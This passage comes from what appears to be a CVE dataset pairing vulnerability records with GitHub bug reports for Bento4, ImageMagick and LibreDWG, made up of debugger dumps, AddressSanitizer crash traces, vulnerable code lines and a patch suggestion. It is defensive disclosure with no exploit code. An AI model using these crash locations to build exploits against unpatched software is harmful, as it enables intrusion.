size_64=0x4a48, atom=@0xbfffe93c) [#9] 0x80f412a → AP4_AtomFactory::CreateAtomFromStream(this=0xbffff1c4, stream=@0x8159ea0, bytes_available=@0xbfffe940, atom=@0xbfffe93c) ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef➤ p/d entry_count $3 = 1073742722 gef➤ p/d item_count $4 = 1073742722 gef➤ ptype i type = unsigned int gef➤ p/d i $13 = 15468 gef➤ p/d m_Items $14 = 135638176 gef➤ ptype m_Items type = class AP4_CttsTableEntry { public: AP4_UI32 m_SampleCount; AP4_UI32 m_SampleOffset; AP4_CttsTableEntry(void); AP4_CttsTableEntry(AP4_UI32, AP4_UI32); } * gef➤ x m_Items[i] Cannot access memory at address 0x8179000 gef➤ p m_Items[15468] Cannot access memory at address 0x8179000 gef➤ i r eax 0x8179000 0x8179000 ecx 0xb7df3780 0xb7df3780 edx 0x1e360 0x1e360 ebx 0x815ac60 0x815ac60 esp 0xbfffe528 0xbfffe528 ebp 0xbfffe528 0xbfffe528 esi 0x1c20 0x1c20 edi 0xb7df3000 0xb7df3000 eip 0x80ef168 0x80ef168 <AP4_CttsTableEntry::AP4_CttsTableEntry()+6> eflags 0x10292 [ AF SF IF RF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 ~~~ **DEBUG ON WINDOWS** - ~~~ STACK_TEXT: 004be750 000d6b2d 0074f000 00000551 00000000 Mp42Hls!AP4_CttsTableEntry::AP4_CttsTableEntry+0x11 004be76c 000d60e3 40000382 15981e17 004be928 Mp42Hls!AP4_Array<AP4_CttsTableEntry>::SetItemCount+0xbd 004be7bc 000d668b 00001c20 00000000 00000000 Mp42Hls!AP4_CttsAtom::AP4_CttsAtom+0xa3 004be808 000a1fb9 00001c20 00749810 1598109f Mp42Hls!AP4_CttsAtom::Create+0xab 004be934 000a08dd 00749810 63747473 00001c20 Mp42Hls!AP4_AtomFactory::CreateAtomFromStream+0x14c9 004be9e8 000ae0b9 00749810 004bea08 004bea18 Mp42Hls!AP4_AtomFactory::CreateAtomFromStream+0x26d FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_Mp42Hls.exe!AP4_CttsTableEntry::AP4_CttsTableEntry BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_WRITE_Mp42Hls!AP4_CttsTableEntry::AP4_CttsTableEntry+11 ExceptionCode: c0000005 (Access violation) FAULTING_SOURCE_FILE: \bento4-master\source\c++\core\ap4cttsatom.h FAILURE_FUNCTION_NAME: AP4_CttsTableEntry::AP4_CttsTableEntry Registers: eax=0074f000 ebx=7efde000 ecx=0074f000 edx=00000001 esi=004be954 edi=004be7b0 eip=000d62f1 esp=004be74c ebp=004be750 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 ~~~

Out of bound write in AP4_CttsTableEntry::AP4_CttsTableEntry()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/374/comments

2019-02-28T15:32:28Z

2019-02-28T15:32:28Z

https://github.com/axiomatic-systems/Bento4/issues/374

CVE-2019-7175

2019-03-07T23:29:01.597

In ImageMagick before 7.0.8-25, some memory leaks exist in DecodeImage in coders/pcd.c.

https://github.com/ImageMagick/ImageMagick/issues/1450

github.com

### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> memory leak in DecodeImage in coders/pcd.c, which is different from #1193 and #811 ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/pcd.c#L198 ```c for (i=0; i < (image->columns > 1536 ? 3 : 1); i++) { PCDGetBits(8); length=(sum & 0xff)+1; pcd_table[i]=(PCDTable *) AcquireQuantumMemory(length, //line 202 sizeof(*pcd_table[i])); if (pcd_table[i] == (PCDTable *) NULL) //line 204 { buffer=(unsigned char *) RelinquishMagickMemory(buffer); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", //line 207 image->filename); } r=pcd_table[i]; for (j=0; j < (ssize_t) length; j++) { PCDGetBits(8); r->length=(unsigned int) (sum & 0xff)+1; if (r->length > 16) //line 215 { buffer=(unsigned char *) RelinquishMagickMemory(buffer); return(MagickFalse); //line 218 } PCDGetBits(16); r->sequence=(unsigned int) (sum & 0xffff) << 16; PCDGetBits(8); r->key=(unsigned char) (sum & 0xff); r->mask=(~((1U << (32-r->length))-1)); r++; } pcd_length[i]=(size_t) length; } ``` **pcd_table[i]** is allocated at *line 202*, however, **pcd_table[0~i]** are forgot to be freed when exception happens at line *204* or function returns at *line 215*. **pcd_table** is a local array variable and it isn't passed to the caller function when DecodeImage returns with MagickFalse at *line 207 and 218*. As a result, the allocated memory pcd_table[0~(i-1)] (or pcd_table[0~i] when returned at line 218) will not be freed and memory leak happens. The max size of leaked memory is 3*(0xff+1)*sizeof(*pcd_table[0]) The patch suggestion: ```c if (pcd_table[i] == (PCDTable *) NULL) //line 204 { buffer=(unsigned char *) RelinquishMagickMemory(buffer); for (k=0; k < i; k++) pcd_table[k] = (PCDTable *)RelinquishMagickMemory(pcd_table[k]); ThrowBinaryException(ResourceLimitError,"MemoryAllocationFailed", image->filename); } if (r->length > 16) { buffer=(unsigned char *) RelinquishMagickMemory(buffer); for (k=0; k <= i; k++) pcd_table[k] = (PCDTable *)RelinquishMagickMemory(pcd_table[k]); return(MagickFalse); } ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE

memory leak in DecodeImage in coders/pcd.c different from #1193 and #811

https://api.github.com/repos/ImageMagick/ImageMagick/issues/1450/comments

2019-01-17T02:37:57Z

2019-03-11T01:54:24Z

https://github.com/ImageMagick/ImageMagick/issues/1450

CVE-2019-9770

2019-03-14T09:29:00.677

An issue was discovered in GNU LibreDWG 0.7 and 0.7.1645. There is a heap-based buffer overflow in the function dwg_decode_eed_data at decode.c for the y dimension.

https://github.com/LibreDWG/libredwg/issues/99

github.com

# libredwg ## version libredwg 0.7 and 0.7.1645 ## description ```txt libredwg ``` ## download link https://github.com/LibreDWG/libredwg/releases --------------------- ## dwg_dxf_LEADER@dwg.spec:2034-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LEADER at dwg.spec:2034-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32285==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4d91d2b51e bp 0x0c22000045e3 sp 0x7ffd87ed4b60 T0) ==32285==The signal is caused by a READ memory access. ==32285==Hint: address points to the zero page. #0 0x7f4d91d2b51d in dwg_dxf_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3 #1 0x7f4d91d2b51d in dwg_dxf_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:934 #2 0x7f4d91ca1ba7 in dxf_entities_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1528:18 #3 0x7f4d91ca1ba7 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1596 #4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #5 0x7f4d905aab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2034:3 in dwg_dxf_LEADER ==32285==ABORTING ``` ### others from fuzz project None crash name None-00000007-1552381583.dwg Auto-generated by pyspider at 2019-03-12 18:15:41 ## bit_read_B@___out-of-bounds-read ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function bit_read_B at ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32294==ERROR: AddressSanitizer: SEGV on unknown address 0x7f6692681af1 (pc 0x7f6675cd7f01 bp 0x0c0800001814 sp 0x7ffc0f5f3ef0 T0) ==32294==The signal is caused by a READ memory access. #0 0x7f6675cd7f00 in bit_read_B /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c #1 0x7f6675f33256 in obj_string_stream /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode_r2007.c:1126:22 #2 0x7f6675ea3b0f in dwg_decode_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2738:18 #3 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1 #4 0x7f6675d81cc6 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530 #5 0x7f6675d81cc6 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809 #6 0x7f6675d113d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7f6675d113d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7f6675cf4049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7f6675ccf4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7f6674bacb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c in bit_read_B ==32294==ABORTING ``` ### others from fuzz project None crash name None-00000006-1552381538.dwg Auto-generated by pyspider at 2019-03-12 18:15:42 ## dwg_decode_eed_data@decode.c:2353-32___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2353-32 ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c 2348 data->u.eed_4.data[j] = bit_read_RC(dat); 2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data); 2350 break; 2351 case 10: case 11: case 12: case 13: /*case 14: case 15:*/ 2352 data->u.eed_10.point.x = bit_read_RD(dat); ► 2353 data->u.eed_10.point.y = bit_read_RD(dat); 2354 data->u.eed_10.point.z = bit_read_RD(dat); 2355 LOG_TRACE("3dpoint: %f, %f, %f\n", 2356 data->u.eed_10.point.x, 2357 data->u.eed_10.point.y, 2358 data->u.eed_10.point.z); ``` ### bug report ```txt ================================================================= ==32310==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006740 at pc 0x7efd7e7806c5 bp 0x7ffe71660c30 sp 0x7ffe71660c28 WRITE of size 8 at 0x602000006740 thread T0 #0 0x7efd7e7806c4 in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32 #1 0x7efd7e7806c4 in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473 #2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 #3 0x7efd7e64f874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1 #4 0x7efd7e64f874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026 #5 0x7efd7e64f874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630 #6 0x7efd7e5fe3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #7 0x7efd7e5fe3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #8 0x7efd7e5e1049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #9 0x7efd7e5bc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #11 0x7efd7d499b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x602000006740 is located 5 bytes to the right of 11-byte region [0x602000006730,0x60200000673b) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7efd7e77ea9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47 #2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32 in dwg_decode_eed_data Shadow bytes around the buggy address: 0x0c047fff8c90: fa fa 00 00 fa fa 04 fa fa fa 00 03 fa fa 04 fa 0x0c047fff8ca0: fa fa 00 03 fa fa 00 06 fa fa 00 00 fa fa 00 00 0x0c047fff8cb0: fa fa 00 00 fa fa 00 00 fa fa 04 fa fa fa 00 03 0x0c047fff8cc0: fa fa 04 fa fa fa 00 03 fa fa 00 06 fa fa 00 03 0x0c047fff8cd0: fa fa 00 06 fa fa 00 03 fa fa 00 06 fa fa 00 03 =>0x0c047fff8ce0: fa fa 00 06 fa fa 00 03[fa]fa fa fa fa fa fa fa 0x0c047fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32310==ABORTING ``` ### others from fuzz project None crash name None-00000003-1552381586.dwg Auto-generated by pyspider at 2019-03-12 18:15:43 ## dwg_dxf_LTYPE@dwg.spec:2523-11___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_dxf_LTYPE at dwg.spec:2523-11 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt ================================================================= ==32330==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000015008 at pc 0x7eff104ff2d8 bp 0x7ffd1eb7a490 sp 0x7ffd1eb7a488 READ of size 1 at 0x608000015008 thread T0 #0 0x7eff104ff2d7 in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11 #1 0x7eff104de5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11 #2 0x7eff104b01d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x608000015008 is located 8 bytes to the right of 96-byte region [0x608000014fa0,0x608000015000) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7eff0ff7c742 in dwg_add_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877:1 #2 0x7eff0ff7c742 in dwg_decode_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877 #3 0x7eff0ff7c742 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3555 #4 0x7eff0ff1e3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #5 0x7eff0ff1e3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #6 0x7eff0ff01049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #7 0x7eff0fedc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #9 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11 in dwg_dxf_LTYPE Shadow bytes around the buggy address: 0x0c107fffa9b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9c0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffa9f0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c107fffaa00: fa[fa]fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa10: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa20: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa30: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa40: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fffaa50: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32330==ABORTING ``` ### others from fuzz project None crash name None-00000013-1552381572.dwg Auto-generated by pyspider at 2019-03-12 18:15:44 ## dxf_header_write@header_variables_dxf.spec:73-3___heap-buffer-overflow ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dxf_header_write at header_variables_dxf.spec:73-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt ================================================================= ==32334==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000005ae0 at pc 0x7f47f17c85b0 bp 0x7ffdfb1fa790 sp 0x7ffdfb1fa788 READ of size 8 at 0x602000005ae0 thread T0 #0 0x7f47f17c85af in dxf_header_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3 #1 0x7f47f179d2c9 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1579:3 #2 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #3 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #4 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) 0x602000005ae0 is located 8 bytes to the right of 8-byte region [0x602000005ad0,0x602000005ad8) allocated by thread T0 here: #0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97 #1 0x7f47f127cb11 in dwg_add_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1 #2 0x7f47f127cb11 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530 #3 0x7f47f127cb11 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809 #4 0x7f47f120c3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19 #5 0x7f47f120c3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230 #6 0x7f47f11ef049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c #7 0x7f47f11ca4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11 #8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15 #9 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3 in dxf_header_write Shadow bytes around the buggy address: 0x0c047fff8b00: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b10: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b20: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b30: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b40: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa =>0x0c047fff8b50: fa fa 00 fa fa fa 00 fa fa fa 00 fa[fa]fa 00 fa 0x0c047fff8b60: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b70: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa 0x0c047fff8b80: fa fa 00 fa fa fa 00 06 fa fa 00 06 fa fa 00 06 0x0c047fff8b90: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 06 0x0c047fff8ba0: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==32334==ABORTING ``` ### others from fuzz project None crash name None-00000008-1552381574.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## dwg_dxf_LTYPE@___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at ### commandline dwg2dxf @@ -o /dev/null ### source ```c In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.spec 2482 FIELD_RC (alignment, 72); 2483 } 2484 FIELD_RC (num_dashes, 73); 2485 REPEAT_C(num_dashes, dash, Dwg_LTYPE_dash) 2486 { ► 2487 PRE(R_13) 2488 { 2489 FIELD_RD (dash[rcount1].length, 49); 2490 #ifndef IS_PRINT 2491 FIELD_VALUE(pattern_len) += FIELD_VALUE(dash[rcount1].length); 2492 #endif ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32338==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb4e3e7f99c bp 0x7ffe9fb40000 sp 0x7ffe9fb3ec00 T0) ==32338==The signal is caused by a READ memory access. ==32338==Hint: address points to the zero page. #0 0x7fb4e3e7f99b in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec #1 0x7fb4e3e61658 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1275:20 #2 0x7fb4e3e331d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7fb4e273cb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec in dwg_dxf_LTYPE ==32338==ABORTING ``` ### others from fuzz project None crash name None-00000012-1552381601.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## dwg_dxf_LTYPE@dwg.spec:2471-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at dwg.spec:2471-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32342==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f7dab4ac4f0 bp 0x3ff0000000000018 sp 0x7fff577b50a0 T0) ==32342==The signal is caused by a READ memory access. ==32342==Hint: address points to the zero page. #0 0x7f7dab4ac4ef in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3 #1 0x7f7dab48f5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11 #2 0x7f7dab4611d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #4 0x7f7da9d6ab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3 in dwg_dxf_LTYPE ==32342==ABORTING ``` ### others from fuzz project None crash name None-00000010-1552381589.dwg Auto-generated by pyspider at 2019-03-12 18:15:45 ## bit_convert_TU@bits.c:1323-3___null-pointer-dereference ### description An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function bit_convert_TU at bits.c:1323-3 ### commandline dwg2dxf @@ -o /dev/null ### source ```c None ``` ### bug report ```txt AddressSanitizer:DEADLYSIGNAL ================================================================= ==32351==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7feaa5e0727e bp 0x000000000001 sp 0x7fffe83aecc0 T0) ==32351==The signal is caused by a READ memory access. ==32351==Hint: address points to the zero page. #0 0x7feaa5e0727d in bit_convert_TU /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3 #1 0x7feaa63f0ed0 in dwg_dxf_STYLE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2425:13 #2 0x7feaa63f0ed0 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1319 #3 0x7feaa63bc1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9 #4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56 #5 0x7feaa4cc5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #6 0x41a399 in _start 